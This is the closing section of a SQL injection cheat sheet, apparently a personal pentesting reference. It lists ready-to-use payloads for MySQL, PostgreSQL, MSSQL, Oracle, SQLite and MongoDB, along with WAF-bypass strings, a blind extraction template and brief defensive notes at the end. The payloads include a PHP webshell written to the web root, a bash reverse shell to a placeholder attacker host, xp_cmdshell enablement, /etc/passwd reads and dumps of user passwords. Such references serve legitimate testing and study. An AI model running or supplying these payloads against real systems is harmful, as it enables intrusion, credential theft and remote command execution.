' UNION SELECT GROUP_CONCAT(table_name),2,3 FROM information_schema.tables WHERE table_schema=database() --
' UNION SELECT GROUP_CONCAT(column_name),2,3 FROM information_schema.columns WHERE table_name='users' --
' UNION SELECT GROUP_CONCAT(username,0x3a,password),2,3 FROM users --
' AND SLEEP(5) --
' AND (SELECT * FROM (SELECT(SLEEP(5)))a) --
' UNION SELECT LOAD_FILE('/etc/passwd'),2,3 --
' UNION SELECT '<?php system($_GET[c]);?>',2,3 INTO OUTFILE '/var/www/html/s.php' --

23.6 PostgreSQL cheat block

' UNION SELECT version(),current_user,current_database() --
' || pg_sleep(5) || '
'; SELECT pg_sleep(5) --
'; COPY (SELECT '') TO PROGRAM 'bash -c "bash -i >& /dev/tcp/ATT/443 0>&1"' --
' AND 1=CAST((SELECT current_user) AS INT) --

23.7 MSSQL cheat block

' UNION SELECT @@VERSION,SYSTEM_USER,DB_NAME() --
'; WAITFOR DELAY '0:0:5' --
'; EXEC xp_cmdshell 'whoami' --
'; EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE --
' AND 1=CONVERT(INT,(SELECT TOP 1 name FROM sysobjects WHERE xtype='U')) --

23.8 Oracle cheat block

' UNION SELECT banner,NULL,NULL FROM v$version --
' UNION SELECT table_name,NULL,NULL FROM all_tables --
' || (SELECT user FROM dual) || '
' AND DBMS_PIPE.RECEIVE_MESSAGE('a',5) IS NOT NULL --
' AND 1=UTL_INADDR.get_host_name((SELECT user FROM dual)) --

23.9 SQLite cheat block

' UNION SELECT sqlite_version(),NULL,NULL --
' UNION SELECT name,sql,NULL FROM sqlite_master --
' AND 1=LIKE('ABCDEFG', UPPER(HEX(RANDOMBLOB(500000000)))) --

23.10 WAF-bypass snippets

/*!50000UNION*/ /*!50000SELECT*/ 1,2,3
UNION/**/SELECT/**/1,2,3
UNION(SELECT(1),(2),(3))
%27%20UNION%20SELECT%201,2,3--
%2527%2520UNION%2520SELECT%25201,2,3--
' oR '1'='1
' /*!or*/ 1=1--
' or JSON_LENGTH('{}')<=1 UNION DISTINCTROW SELECT @@version #
?id=1&id=' UNION SELECT 1,2,3--

23.11 NoSQL cheat block

# Mongo login bypass (JSON)
{"username":{"$ne":null},"password":{"$ne":null}}
{"username":"admin","password":{"$gt":""}}

# Mongo query-string bypass
username[$ne]=x&password[$ne]=x
username[$regex]=^adm&password[$ne]=x

# Mongo $where JS
{"$where":"this.username=='admin' && sleep(5000)"}

23.12 Second-order markers

user1'; --
test''DROP
z1z"'--<>
admin'--
foo\0bar

Register with each, then operate every app flow; monitor DB error logs.

23.13 Blind bisection template

' AND ASCII(SUBSTRING((SELECT PASSWORD FROM users WHERE id=1),{pos},1))>{mid} --

Wrap in a binary search: lo=32, hi=126, narrow until lo==hi.


Closing notes

SQL injection is a solved problem at the language level — parameterized queries, per-role DB accounts, disabled dangerous primitives, and JSON-aware WAFs close almost all of it. It is an unsolved problem in the field because escape hatches exist in every framework, appliances still ship hand-rolled query builders, audit/log paths are under-tested, and “just add a WAF” continues to substitute for fixing the sink.

When reviewing code, chase every string-concatenated SQL, every raw/native/unsafe ORM call, every ORDER BY that takes user input, every header that lands in an INSERT, and every data flow where data written safely is read back unsafely. When testing a running system, rotate through in-band, blind, time-based, OOB, and JSON-body contexts before declaring a parameter clean, and keep a second-order marker in every write you make.

Defensive reference — compiled from 33 clipped research sources under ~/Documents/obsidian/chs/raw/SQLi/.